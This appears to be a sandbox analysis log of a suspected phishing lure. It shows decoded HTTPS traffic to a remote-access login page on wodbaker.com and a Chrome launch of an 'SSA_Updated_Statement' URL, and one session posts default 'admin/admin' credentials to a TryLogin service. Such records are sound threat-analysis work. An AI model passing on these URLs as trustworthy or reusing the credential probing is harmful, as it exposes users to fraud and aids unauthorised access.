Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49821	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:04 UTC	359	OUT	GET /Images/Applications.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 821 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:05 UTC	821	IN	Data Raw: 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 4c 61 79 65 72 20 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 57 61 66 66 6c 65 49 63 6f 6e 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 78 3d 22 33 32 2e 30 35 22 20 79 3d 22 37 22 20 77 69 64 74 68 3d 22 38 2e 39 35 22 20 68 65 69 67 68 74 3d 22 38 2e 39 35 22 20 72 78 3d 22 32 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 Data Ascii: <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><defs><style>.cls-1{fill:#fff;}</style></defs><title>WaffleIcon</title><rect class="cls-1" x="32.05" y="7" width="8.95" height="8.95" rx="2"/><rect class="cls-1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49823	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:05 UTC	625	OUT	GET /FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	322	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 38 Content-Type: image/vnd.microsoft.icon Expires: Fri, 22 Nov 2024 23:01:05 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:05 UTC	38	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 00 00 04 00 00 00 00 00 26 00 00 00 20 20 00 00 00 00 04 00 00 00 00 00 26 00 00 00 Data Ascii: & &

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49822	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:05 UTC	399	OUT	GET /App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459 HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:06 UTC	314	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 57459 Content-Type: image/svg+xml Expires: Fri, 22 Nov 2024 23:01:05 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:06 UTC	16070	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 36 30 30 22 20 68 65 69 67 68 74 3d 22 31 39 30 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 30 20 30 68 32 36 30 30 76 31 39 30 30 48 30 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 64 3d 22 4d 32 36 31 31 2d 32 33 48 2d 37 76 39 37 36 68 32 36 31 38 56 2d 32 33 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 64 3d 22 4d 2d 35 31 2e 33 20 31 37 36 33 48 32 36 36 39 56 39 35 38 48 2d 35 31 2e 33 76 38 30 35 5a 22 2f 3e 3c 70 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="2600" height="1900" fill="none"><g clip-path="url(#a)"><path fill="#fff" d="M0 0h2600v1900H0z"/><path fill="url(#b)" d="M2611-23H-7v976h2618V-23Z"/><path fill="url(#c)" d="M-51.3 1763H2669V958H-51.3v805Z"/><p
2024-11-22 22:01:06 UTC	16384	IN	Data Raw: 2e 37 20 32 2e 36 20 31 38 2e 34 20 32 2e 36 20 32 35 2e 35 20 37 2e 37 20 34 38 2e 34 20 33 34 2e 38 20 39 39 2e 33 20 35 30 2e 38 20 31 35 30 2e 32 20 37 34 2e 34 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 45 45 45 22 20 64 3d 22 4d 31 31 30 37 20 36 31 39 2e 33 61 39 38 20 39 38 20 30 20 30 20 30 2d 31 37 2e 32 2d 32 31 63 2d 33 2e 37 2d 33 2e 38 20 32 2e 35 2d 31 33 2e 37 20 30 2d 31 38 2e 37 2d 31 2e 33 2d 32 2e 35 2d 31 30 20 30 2d 31 33 2e 37 2d 35 20 31 2e 34 2d 2e 35 20 32 2e 38 2d 31 2e 31 20 34 2d 31 2e 38 2d 37 2e 33 20 32 2e 32 2d 37 2e 37 2d 32 2e 37 2d 37 2e 37 2d 32 2e 37 2d 31 35 2e 34 2d 31 36 2e 33 2d 32 39 2e 32 2d 32 30 2e 31 2d 34 30 2e 35 2d 31 38 2e 36 20 35 2e 32 20 35 2e 32 20 31 30 20 31 30 2e 36 20 37 20 31 34 2e 35 2d Data Ascii: .7 2.6 18.4 2.6 25.5 7.7 48.4 34.8 99.3 50.8 150.2 74.4Z"/><path fill="#EEE" d="M1107 619.3a98 98 0 0 0-17.2-21c-3.7-3.8 2.5-13.7 0-18.7-1.3-2.5-10 0-13.7-5 1.4-.5 2.8-1.1 4-1.8-7.3 2.2-7.7-2.7-7.7-2.7-15.4-16.3-29.2-20.1-40.5-18.6 5.2 5.2 10 10.6 7 14.5-
2024-11-22 22:01:06 UTC	16384	IN	Data Raw: 33 2e 32 20 33 2e 32 6c 2d 38 2e 33 20 39 2e 32 73 2d 31 2e 31 20 31 2e 39 2d 31 2e 31 20 32 2e 35 63 30 20 2e 37 2d 32 2e 32 20 34 2e 33 2d 32 2e 32 20 34 2e 33 73 2d 33 20 34 2e 34 2d 33 20 35 2e 33 63 2e 32 2e 39 2d 33 2e 36 20 32 2e 32 2d 35 2e 36 20 33 2d 32 20 31 2d 33 20 2e 37 2d 33 20 2e 37 6c 2d 2e 36 2d 33 20 32 2e 38 2d 2e 33 63 32 2e 38 2d 2e 33 2e 34 2d 31 2e 33 20 30 2d 31 2e 36 2d 2e 34 2d 2e 32 2d 31 2e 34 2d 31 2e 34 2d 32 2e 31 2d 32 2d 2e 37 2d 2e 34 2d 31 2d 2e 34 2d 33 2d 31 2d 32 2d 2e 34 2d 31 2e 35 2d 31 2e 38 2d 31 2e 35 2d 31 2e 38 73 2d 2e 32 2d 31 2e 38 2e 36 2d 32 2e 34 63 2e 38 2d 2e 36 20 30 20 30 20 2e 38 2d 2e 31 2e 38 2d 2e 32 20 32 2d 2e 32 20 33 2d 2e 32 20 31 2e 32 20 30 20 34 2e 35 2d 31 20 34 2e 35 2d 31 73 2d 32 2e Data Ascii: 3.2 3.2l-8.3 9.2s-1.1 1.9-1.1 2.5c0 .7-2.2 4.3-2.2 4.3s-3 4.4-3 5.3c.2.9-3.6 2.2-5.6 3-2 1-3 .7-3 .7l-.6-3 2.8-.3c2.8-.3.4-1.3 0-1.6-.4-.2-1.4-1.4-2.1-2-.7-.4-1-.4-3-1-2-.4-1.5-1.8-1.5-1.8s-.2-1.8.6-2.4c.8-.6 0 0 .8-.1.8-.2 2-.2 3-.2 1.2 0 4.5-1 4.5-1s-2.
2024-11-22 22:01:06 UTC	8621	IN	Data Raw: 36 20 33 36 20 30 20 30 20 31 2d 31 2e 37 20 32 2e 33 63 2d 2e 39 20 31 2d 32 2e 34 20 31 2e 39 2d 33 2e 31 20 31 2e 36 2d 2e 38 2d 2e 32 2d 31 2e 37 2d 31 2e 32 2d 32 2e 31 2d 32 2e 33 61 38 2e 36 20 38 2e 36 20 30 20 30 20 30 2d 31 2e 36 2d 33 2e 31 6c 2d 32 2d 31 63 2d 31 2d 2e 33 2d 32 2e 32 2d 31 2d 32 2e 38 2d 31 2e 34 2d 31 2e 32 2d 2e 38 2d 31 2e 33 2d 2e 39 2d 31 2e 36 2d 2e 36 5a 4d 31 39 37 31 2e 32 20 35 33 37 2e 36 63 2d 2e 34 2e 34 2d 33 20 2e 36 2d 35 2e 38 2e 35 2d 34 2e 33 20 30 2d 35 2e 37 2e 34 2d 39 2e 36 20 33 2e 34 2d 32 2e 35 20 32 2d 35 2e 32 20 33 2e 35 2d 36 20 33 2e 35 2d 2e 37 20 30 2d 31 2e 33 2e 35 2d 31 2e 33 20 31 20 30 20 31 2e 35 20 35 20 2e 32 20 38 2e 32 2d 32 2e 31 20 31 2e 37 2d 31 2e 32 20 34 2e 34 2d 31 2e 39 20 37 Data Ascii: 6 36 0 0 1-1.7 2.3c-.9 1-2.4 1.9-3.1 1.6-.8-.2-1.7-1.2-2.1-2.3a8.6 8.6 0 0 0-1.6-3.1l-2-1c-1-.3-2.2-1-2.8-1.4-1.2-.8-1.3-.9-1.6-.6ZM1971.2 537.6c-.4.4-3 .6-5.8.5-4.3 0-5.7.4-9.6 3.4-2.5 2-5.2 3.5-6 3.5-.7 0-1.3.5-1.3 1 0 1.5 5 .2 8.2-2.1 1.7-1.2 4.4-1.9 7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49824	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:05 UTC	742	OUT	POST /Services/PageService.ashx/GetLiveData HTTP/1.1 Host: wodbaker.com Connection: keep-alive Content-Length: 68 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Anti-Forgery-Token: Op28yeRftxnFP552lb7QlYT51NUyLUXNTju1xHjU1LoBAAC61jLspb0tQg== sec-ch-ua-mobile: ?0 X-Unauthorized-Status-Code: 403 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://wodbaker.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	68	OUT	Data Raw: 5b 7b 22 47 75 65 73 74 53 65 73 73 69 6f 6e 49 6e 66 6f 22 3a 7b 22 73 65 73 73 69 6f 6e 43 6f 64 65 73 22 3a 5b 5d 2c 22 73 65 73 73 69 6f 6e 49 44 73 22 3a 5b 5d 7d 7d 2c 33 35 37 37 37 35 30 36 38 5d Data Ascii: [{"GuestSessionInfo":{"sessionCodes":[],"sessionIDs":[]}},357775068]
2024-11-22 22:01:23 UTC	387	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 143 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://wodbaker.com Access-Control-Allow-Credentials: true Date: Fri, 22 Nov 2024 22:01:23 GMT Connection: close
2024-11-22 22:01:23 UTC	143	IN	Data Raw: 7b 22 56 65 72 73 69 6f 6e 22 3a 33 35 37 37 37 35 30 36 39 2c 22 50 72 6f 64 75 63 74 56 65 72 73 69 6f 6e 22 3a 22 32 34 2e 33 2e 37 2e 39 30 36 37 22 2c 22 52 65 73 70 6f 6e 73 65 49 6e 66 6f 4d 61 70 22 3a 7b 22 47 75 65 73 74 53 65 73 73 69 6f 6e 49 6e 66 6f 22 3a 7b 22 44 6f 4e 6f 6e 50 75 62 6c 69 63 43 6f 64 65 53 65 73 73 69 6f 6e 73 45 78 69 73 74 22 3a 74 72 75 65 2c 22 53 65 73 73 69 6f 6e 73 22 3a 5b 5d 7d 7d 7d Data Ascii: {"Version":357775069,"ProductVersion":"24.3.7.9067","ResponseInfoMap":{"GuestSessionInfo":{"DoNonPublicCodeSessionsExist":true,"Sessions":[]}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	49825	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:07 UTC	392	OUT	GET /FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03 HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:07 UTC	322	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 38 Content-Type: image/vnd.microsoft.icon Expires: Fri, 22 Nov 2024 23:01:07 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:07 GMT Connection: close
2024-11-22 22:01:07 UTC	38	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 00 00 04 00 00 00 00 00 26 00 00 00 20 20 00 00 00 00 04 00 00 00 00 00 26 00 00 00 Data Ascii: & &

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	49826	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:12 UTC	708	OUT	GET /Login?Reason=0 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:12 UTC	284	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 38962 Content-Type: text/html; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff P3P: CP="NON CUR OUR STP STA PRE" Date: Fri, 22 Nov 2024 22:01:12 GMT Connection: close
2024-11-22 22:01:12 UTC	16100	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 0d 0a 09 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 2f 2f 20 45 6e 75 6d 73 0d 0a 09 09 63 6f 6e 73 74 20 50 61 67 65 20 3d 20 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 0d 0a 09 09 09 Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" /><script>// Enumsconst Page = Object.freeze({
2024-11-22 22:01:13 UTC	16384	IN	Data Raw: 73 2e 63 6f 6d 6d 61 6e 64 45 6c 65 6d 65 6e 74 29 0d 0a 09 09 09 09 09 29 3b 0d 0a 0d 0a 09 09 09 09 09 68 61 6e 64 6c 65 46 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 28 28 68 61 6e 64 6c 65 53 75 63 63 65 73 73 2c 20 68 61 6e 64 6c 65 45 72 72 6f 72 29 20 3d 3e 20 53 43 2e 73 65 72 76 69 63 65 2e 54 72 79 4c 6f 67 69 6e 28 0d 0a 09 09 09 09 09 09 5f 61 75 74 68 53 74 61 74 65 2e 66 6f 72 6d 53 74 61 74 65 5b 46 69 65 6c 64 2e 55 73 65 72 4e 61 6d 65 5d 2c 0d 0a 09 09 09 09 09 09 5f 61 75 74 68 53 74 61 74 65 2e 66 6f 72 6d 53 74 61 74 65 5b 46 69 65 6c 64 2e 50 61 73 73 77 6f 72 64 5d 2c 0d 0a 09 09 09 09 09 09 5f 61 75 74 68 53 74 61 74 65 2e 66 6f 72 6d 53 74 61 74 65 5b 46 69 65 6c 64 2e 4f 6e 65 54 69 6d 65 50 61 73 73 77 6f 72 64 5d 2c 0d 0a 09 09 09 Data Ascii: s.commandElement));handleFormSubmission((handleSuccess, handleError) => SC.service.TryLogin(_authState.formState[Field.UserName],_authState.formState[Field.Password],_authState.formState[Field.OneTimePassword],
2024-11-22 22:01:13 UTC	6478	IN	Data Raw: 65 6d 65 6e 74 2c 20 7b 0d 0a 09 09 09 09 09 09 74 65 78 74 45 6e 74 72 79 45 6c 65 6d 65 6e 74 3a 20 6e 75 6c 6c 2c 0d 0a 09 09 09 09 09 7d 29 3b 0d 0a 0d 0a 09 09 09 09 09 69 66 20 28 71 75 65 72 79 54 65 78 74 45 6e 74 72 79 45 6c 65 6d 65 6e 74 41 72 67 73 2e 74 65 78 74 45 6e 74 72 79 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 09 09 09 09 09 09 69 66 20 28 21 53 43 2e 65 76 65 6e 74 2e 64 6f 65 73 4b 65 79 45 76 65 6e 74 49 6e 64 69 63 61 74 65 54 65 78 74 45 6e 74 72 79 4e 61 76 69 67 61 74 69 6f 6e 28 65 76 65 6e 74 41 72 67 73 29 29 0d 0a 09 09 09 09 09 09 09 71 75 65 72 79 54 65 78 74 45 6e 74 72 79 45 6c 65 6d 65 6e 74 41 72 67 73 2e 74 65 78 74 45 6e 74 72 79 45 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 3d 20 27 27 3b 0d 0a 0d 0a 09 09 09 09 09 09 71 75 Data Ascii: ement, {textEntryElement: null,});if (queryTextEntryElementArgs.textEntryElement) {if (!SC.event.doesKeyEventIndicateTextEntryNavigation(eventArgs))queryTextEntryElementArgs.textEntryElement.value = '';qu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	49828	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:21 UTC	763	OUT	POST /Services/AuthenticationService.ashx/TryLogin HTTP/1.1 Host: wodbaker.com Connection: keep-alive Content-Length: 46 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Anti-Forgery-Token: CzVpvhvxxV7LY3n9oXlAPlYJwDUQOnaqS7LoHjqCZZgBAADJNlHspb0tQg== sec-ch-ua-mobile: ?0 X-Unauthorized-Status-Code: 403 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://wodbaker.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://wodbaker.com/Login?Reason=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:21 UTC	46	OUT	Data Raw: 5b 22 61 64 6d 69 6e 22 2c 22 61 64 6d 69 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 63 76 7a 4b 37 31 77 5a 35 75 4f 57 61 77 65 37 22 5d Data Ascii: ["admin","admin",null,null,"cvzK71wZ5uOWawe7"]
2024-11-22 22:01:22 UTC	385	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 1 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://wodbaker.com Access-Control-Allow-Credentials: true Date: Fri, 22 Nov 2024 22:01:21 GMT Connection: close
2024-11-22 22:01:22 UTC	1	IN	Data Raw: 32 Data Ascii: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	49829	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:23 UTC	380	OUT	GET /Services/AuthenticationService.ashx/TryLogin HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:23 UTC	314	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 97 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:23 GMT Connection: close
2024-11-22 22:01:23 UTC	97	IN	Data Raw: 7b 22 65 72 72 6f 72 54 79 70 65 22 3a 22 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 6f 6e 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 57 65 62 20 6d 65 74 68 6f 64 20 6f 6e 6c 79 20 61 63 63 65 70 74 73 20 50 4f 53 54 20 72 65 71 75 65 73 74 73 22 2c 22 64 65 74 61 69 6c 22 3a 6e 75 6c 6c 7d Data Ascii: {"errorType":"ArgumentException","message":"Web method only accepts POST requests","detail":null}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.16	49830	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:25 UTC	373	OUT	GET /Services/PageService.ashx/GetLiveData HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:25 UTC	355	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 111 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true Date: Fri, 22 Nov 2024 22:01:24 GMT Connection: close
2024-11-22 22:01:25 UTC	111	IN	Data Raw: 7b 22 65 72 72 6f 72 54 79 70 65 22 3a 22 41 72 67 75 6d 65 6e 74 4e 75 6c 6c 45 78 63 65 70 74 69 6f 6e 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 56 61 6c 75 65 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 5c 72 5c 6e 50 61 72 61 6d 65 74 65 72 20 6e 61 6d 65 3a 20 73 6f 75 72 63 65 22 2c 22 64 65 74 61 69 6c 22 3a 6e 75 6c 6c 7d Data Ascii: {"errorType":"ArgumentNullException","message":"Value cannot be null.\r\nParameter name: source","detail":null}

Target ID:	0
Start time:	16:59:26
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	16:59:26
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:59:27
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://identitys.fraudguard.es/SSA_Updated_Statement"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:00:09
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6080 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
